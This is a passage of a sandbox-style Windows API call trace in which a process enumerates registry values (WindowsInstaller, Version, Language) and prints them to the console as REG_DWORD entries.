out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.734] GetProcessHeap () returned 0x2e0000 [0147.734] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.734] GetProcessHeap () returned 0x2e0000 [0147.734] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.734] GetProcessHeap () returned 0x2e0000 [0147.734] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.734] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.734] __iob_func () returned 0x7fefd702a80 [0147.734] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.734] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.734] _fileno (_File=0x7fefd702ab0) returned 1 [0147.734] _errno () returned 0xc4bb0 [0147.734] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.734] _errno () returned 0xc4bb0 [0147.734] GetFileType (hFile=0x50) returned 0x1 [0147.734] lstrlenW (lpString=" ") returned 4 [0147.734] GetConsoleOutputCP () returned 0x1b5 [0147.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.734] GetConsoleOutputCP () returned 0x1b5 [0147.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.735] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.735] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.735] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.735] __iob_func () returned 0x7fefd702a80 [0147.735] _fileno (_File=0x7fefd702ab0) returned 1 [0147.735] _errno () returned 0xc4bb0 [0147.735] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.735] _errno () returned 0xc4bb0 [0147.735] GetFileType (hFile=0x50) returned 0x1 [0147.735] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.735] GetConsoleOutputCP () returned 0x1b5 [0147.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0147.735] GetConsoleOutputCP () returned 0x1b5 [0147.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0147.735] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0147.735] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.735] __iob_func () returned 0x7fefd702a80 [0147.735] _fileno (_File=0x7fefd702ab0) returned 1 [0147.735] _errno () returned 0xc4bb0 [0147.735] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.735] _errno () returned 0xc4bb0 [0147.735] GetFileType (hFile=0x50) returned 0x1 [0147.735] lstrlenW (lpString=" ") returned 4 [0147.735] GetConsoleOutputCP () returned 0x1b5 [0147.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.736] GetConsoleOutputCP () returned 0x1b5 [0147.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.736] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.736] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.736] __iob_func () returned 0x7fefd702a80 [0147.736] _fileno (_File=0x7fefd702ab0) returned 1 [0147.736] _errno () returned 0xc4bb0 [0147.736] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.736] _errno () returned 0xc4bb0 [0147.736] GetFileType (hFile=0x50) returned 0x1 [0147.736] lstrlenW (lpString="REG_DWORD") returned 9 [0147.736] GetConsoleOutputCP () returned 0x1b5 [0147.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.736] GetConsoleOutputCP () returned 0x1b5 [0147.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.736] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.736] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.736] __iob_func () returned 0x7fefd702a80 [0147.737] _fileno (_File=0x7fefd702ab0) returned 1 [0147.737] _errno () returned 0xc4bb0 [0147.737] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.737] _errno () returned 0xc4bb0 [0147.737] GetFileType (hFile=0x50) returned 0x1 [0147.737] lstrlenW (lpString=" ") returned 4 [0147.737] GetConsoleOutputCP () returned 0x1b5 [0147.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.737] GetConsoleOutputCP () returned 0x1b5 [0147.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.737] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.737] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.737] __iob_func () returned 0x7fefd702a80 [0147.737] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.737] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.737] _fileno (_File=0x7fefd702ab0) returned 1 [0147.737] _errno () returned 0xc4bb0 [0147.737] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.737] _errno () returned 0xc4bb0 [0147.737] GetFileType (hFile=0x50) returned 0x1 [0147.737] lstrlenW (lpString="0x1") returned 3 [0147.737] GetConsoleOutputCP () returned 0x1b5 [0147.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.738] GetConsoleOutputCP () returned 0x1b5 [0147.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.738] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.738] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.738] __iob_func () returned 0x7fefd702a80 [0147.738] _fileno (_File=0x7fefd702ab0) returned 1 [0147.738] _errno () returned 0xc4bb0 [0147.738] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.738] _errno () returned 0xc4bb0 [0147.738] GetFileType (hFile=0x50) returned 0x1 [0147.738] lstrlenW (lpString="\n") returned 1 [0147.738] GetConsoleOutputCP () returned 0x1b5 [0147.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.738] GetConsoleOutputCP () returned 0x1b5 [0147.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.738] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.738] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.738] GetProcessHeap () returned 0x2e0000 [0147.738] GetProcessHeap () returned 0x2e0000 [0147.738] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.738] GetProcessHeap () returned 0x2e0000 [0147.738] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.739] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.739] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.739] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.739] GetProcessHeap () returned 0x2e0000 [0147.739] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.739] GetProcessHeap () returned 0x2e0000 [0147.739] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.739] GetProcessHeap () returned 0x2e0000 [0147.739] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.739] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x100020ef, pcbData=0x23f670*=0x4) returned 0x0 [0147.739] __iob_func () returned 0x7fefd702a80 [0147.739] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.739] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.739] _fileno (_File=0x7fefd702ab0) returned 1 [0147.739] _errno () returned 0xc4bb0 [0147.739] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.739] _errno () returned 0xc4bb0 [0147.739] GetFileType (hFile=0x50) returned 0x1 [0147.739] lstrlenW (lpString=" ") returned 4 [0147.739] GetConsoleOutputCP () returned 0x1b5 [0147.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.739] GetConsoleOutputCP () returned 0x1b5 [0147.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.739] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.739] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.740] lstrlenW (lpString="Version") returned 7 [0147.740] __iob_func () returned 0x7fefd702a80 [0147.740] _fileno (_File=0x7fefd702ab0) returned 1 [0147.740] _errno () returned 0xc4bb0 [0147.740] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.740] _errno () returned 0xc4bb0 [0147.740] GetFileType (hFile=0x50) returned 0x1 [0147.740] lstrlenW (lpString="Version") returned 7 [0147.740] GetConsoleOutputCP () returned 0x1b5 [0147.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.740] GetConsoleOutputCP () returned 0x1b5 [0147.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0147.740] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.740] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.740] __iob_func () returned 0x7fefd702a80 [0147.740] _fileno (_File=0x7fefd702ab0) returned 1 [0147.740] _errno () returned 0xc4bb0 [0147.740] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.740] _errno () returned 0xc4bb0 [0147.740] GetFileType (hFile=0x50) returned 0x1 [0147.740] lstrlenW (lpString=" ") returned 4 [0147.740] GetConsoleOutputCP () returned 0x1b5 [0147.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.741] GetConsoleOutputCP () returned 0x1b5 [0147.741] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.741] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.741] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.741] __iob_func () returned 0x7fefd702a80 [0147.741] _fileno (_File=0x7fefd702ab0) returned 1 [0147.741] _errno () returned 0xc4bb0 [0147.741] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.741] _errno () returned 0xc4bb0 [0147.741] GetFileType (hFile=0x50) returned 0x1 [0147.741] lstrlenW (lpString="REG_DWORD") returned 9 [0147.741] GetConsoleOutputCP () returned 0x1b5 [0147.741] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.741] GetConsoleOutputCP () returned 0x1b5 [0147.741] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.741] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.741] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.741] __iob_func () returned 0x7fefd702a80 [0147.741] _fileno (_File=0x7fefd702ab0) returned 1 [0147.741] _errno () returned 0xc4bb0 [0147.741] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.741] _errno () returned 0xc4bb0 [0147.741] GetFileType (hFile=0x50) returned 0x1 [0147.742] lstrlenW (lpString=" ") returned 4 [0147.742] GetConsoleOutputCP () returned 0x1b5 [0147.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.742] GetConsoleOutputCP () returned 0x1b5 [0147.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.742] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.742] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.742] __iob_func () returned 0x7fefd702a80 [0147.742] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.742] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x100020ef") returned 10 [0147.742] _fileno (_File=0x7fefd702ab0) returned 1 [0147.742] _errno () returned 0xc4bb0 [0147.742] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.742] _errno () returned 0xc4bb0 [0147.742] GetFileType (hFile=0x50) returned 0x1 [0147.742] lstrlenW (lpString="0x100020ef") returned 10 [0147.742] GetConsoleOutputCP () returned 0x1b5 [0147.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x100020ef", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.742] GetConsoleOutputCP () returned 0x1b5 [0147.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x100020ef", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x100020ef", lpUsedDefaultChar=0x0) returned 10 [0147.743] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.743] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.743] __iob_func () returned 0x7fefd702a80 [0147.743] _fileno (_File=0x7fefd702ab0) returned 1 [0147.743] _errno () returned 0xc4bb0 [0147.743] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.743] _errno () returned 0xc4bb0 [0147.743] GetFileType (hFile=0x50) returned 0x1 [0147.743] lstrlenW (lpString="\n") returned 1 [0147.743] GetConsoleOutputCP () returned 0x1b5 [0147.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.743] GetConsoleOutputCP () returned 0x1b5 [0147.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.743] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.743] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.743] GetProcessHeap () returned 0x2e0000 [0147.743] GetProcessHeap () returned 0x2e0000 [0147.743] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.743] GetProcessHeap () returned 0x2e0000 [0147.743] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.743] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.743] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.743] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.743] GetProcessHeap () returned 0x2e0000 [0147.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.744] GetProcessHeap () returned 0x2e0000 [0147.744] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.744] GetProcessHeap () returned 0x2e0000 [0147.744] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.744] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.744] __iob_func () returned 0x7fefd702a80 [0147.744] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.744] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.744] _fileno (_File=0x7fefd702ab0) returned 1 [0147.744] _errno () returned 0xc4bb0 [0147.744] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.744] _errno () returned 0xc4bb0 [0147.744] GetFileType (hFile=0x50) returned 0x1 [0147.744] lstrlenW (lpString=" ") returned 4 [0147.744] GetConsoleOutputCP () returned 0x1b5 [0147.744] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.744] GetConsoleOutputCP () returned 0x1b5 [0147.744] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.744] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.744] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.744] lstrlenW (lpString="Language") returned 8 [0147.744] __iob_func () returned 0x7fefd702a80 [0147.744] _fileno (_File=0x7fefd702ab0) returned 1 [0147.744] _errno () returned 0xc4bb0 [0147.744] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.744] _errno () returned 0xc4bb0 [0147.744] GetFileType (hFile=0x50) returned 0x1 [0147.745] lstrlenW (lpString="Language") returned 8 [0147.745] GetConsoleOutputCP () returned 0x1b5 [0147.745] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.745] GetConsoleOutputCP () returned 0x1b5 [0147.745] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0147.745] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.745] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.745] __iob_func () returned 0x7fefd702a80 [0147.745] _fileno (_File=0x7fefd702ab0) returned 1 [0147.745] _errno () returned 0xc4bb0 [0147.745] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.745] _errno () returned 0xc4bb0 [0147.745] GetFileType (hFile=0x50) returned 0x1 [0147.745] lstrlenW (lpString=" ") returned 4 [0147.745] GetConsoleOutputCP () returned 0x1b5 [0147.745] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.745] GetConsoleOutputCP () returned 0x1b5 [0147.745] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.745] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.746] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.746] __iob_func () returned 0x7fefd702a80 [0147.746] _fileno (_File=0x7fefd702ab0) returned 1 [0147.746] _errno () returned 0xc4bb0 [0147.746] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.746] _errno () returned 0xc4bb0 [0147.746] GetFileType (hFile=0x50) returned 0x1 [0147.746] lstrlenW (lpString="REG_DWORD") returned 9 [0147.746] GetConsoleOutputCP () returned 0x1b5 [0147.746] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.746] GetConsoleOutputCP () returned 0x1b5 [0147.746] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.746] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.746] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.746] __iob_func () returned 0x7fefd702a80 [0147.746] _fileno (_File=0x7fefd702ab0) returned 1 [0147.746] _errno () returned 0xc4bb0 [0147.746] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.746] _errno () returned 0xc4bb0 [0147.746] GetFileType (hFile=0x50) 